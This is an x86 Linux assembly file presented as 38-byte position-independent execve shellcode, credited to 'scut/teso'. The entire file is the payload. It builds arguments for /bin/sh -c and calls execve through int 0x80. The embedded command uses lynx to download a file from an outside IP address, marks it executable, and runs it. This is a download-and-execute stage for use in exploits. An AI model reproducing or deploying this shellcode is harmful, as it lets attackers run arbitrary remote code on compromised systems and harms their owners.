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/* 38 byte arbitrary execve PIC linux/x86 shellcode - scut/teso */
.data
.globl cbegin
.globl cend
cbegin:
jmp jahead
docall:
pop %edi
xorl %eax, %eax /* read number of arguments */
push %eax
movb (%edi), %al
inc %edi
decl1: push %edi
decl2: scasb /* search delim bytes */
jnz decl2
movb %ah, -1(%edi)
dec %eax
jnz decl1
pop %ebx /* pathname */
push %ebx
push %eax
pop %edx /* esp -= 4, edx = &envp[] = NULL */
movl %esp, %ecx /* ecx = &argv[] */
movb $11, %al
int $0x80
jahead: call docall
/* reverse order arguments */
.byte 0x03 /* number of arguments */
.ascii "lynx -source 123.123.123.123/a>a;chmod +x a;echo ./a"
.byte 0x03
.ascii "-c"
.byte 0x02
.ascii "/bin/sh"
.byte 0x01
cend:
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